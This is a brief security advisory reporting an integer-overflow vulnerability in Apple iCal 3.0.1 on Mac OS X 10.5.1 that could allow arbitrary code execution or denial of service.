Apple iCal is prone to an integer-overflow vulnerability because it fails to ensure that integer values aren't overrun.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

This issue affects iCal 3.0.1 running on Mac OS X 10.5.1; previous versions may also be affected.
